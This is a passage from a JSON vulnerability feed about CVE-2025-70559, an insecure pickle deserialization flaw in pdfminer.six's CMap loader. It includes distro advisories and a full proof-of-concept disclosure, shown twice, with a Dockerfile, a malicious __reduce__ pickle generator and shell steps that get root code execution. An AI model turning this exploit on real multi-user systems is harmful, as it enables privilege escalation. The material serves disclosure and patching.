container, open two shells in parallel (or switch users in one):\n\n#### 🕵️‍♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🛡️ Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)","status":"published","published":"2025-11-07T23:17:05Z","modified":"2026-07-08T07:38:27.593871221Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502","CWE-915"],"updated_at":"2026-11-02T15:46:46.006631Z"},{"id":"OESA-2026-4210","title":"python-pdfminer.six security update","description":"PDF parser and analyzer.\r\n\r\nSecurity Fix(es):\n\npdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.(CVE-2025-70559)","status":"published","published":"2026-09-30T13:47:38Z","modified":"2026-10-01T02:00:09.687828795Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4211","title":"python-pdfminer.six security update","description":"PDF parser and analyzer.\r\n\r\nSecurity Fix(es):\n\npdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.(CVE-2025-70559)","status":"published","published":"2026-09-30T13:47:39Z","modified":"2026-10-01T02:00:09.688980155Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"PYSEC-2026-1761","title":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards \u0026 References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n\u003e 🐍 **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨‍💻 Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the container, open two shells in parallel (or switch users in one):\n\n#### 🕵️‍♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🛡️ Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)","status":"published","published":"2026-07-07T16:03:10.067204Z","modified":"2026-07-07T17:47:47.641982117Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"UBUNTU-CVE-2025-70559","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T18:16:00Z","modified":"2026-09-28T22:45:14.024035563Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:55:55.926217Z"},{"id":"DLA-4374-2","title":"pdfminer - regression update","status":"published","published":"2026-01-08T00:00:00Z","modified":"2026-03-09T02:10:54.434276Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"USN-8837-1","title":"pdfminer vulnerabilities","description":"It was discovered that pdfminer did not safely parse specially crafted\nPDF files. An attacker could possibly use these issues to execute\narbitrary code. (CVE-2025-64512, CVE-2025-70559)","status":"published","published":"2026-09-28T14:43:34Z","modified":"2026-09-28T22:57:43.005388123Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}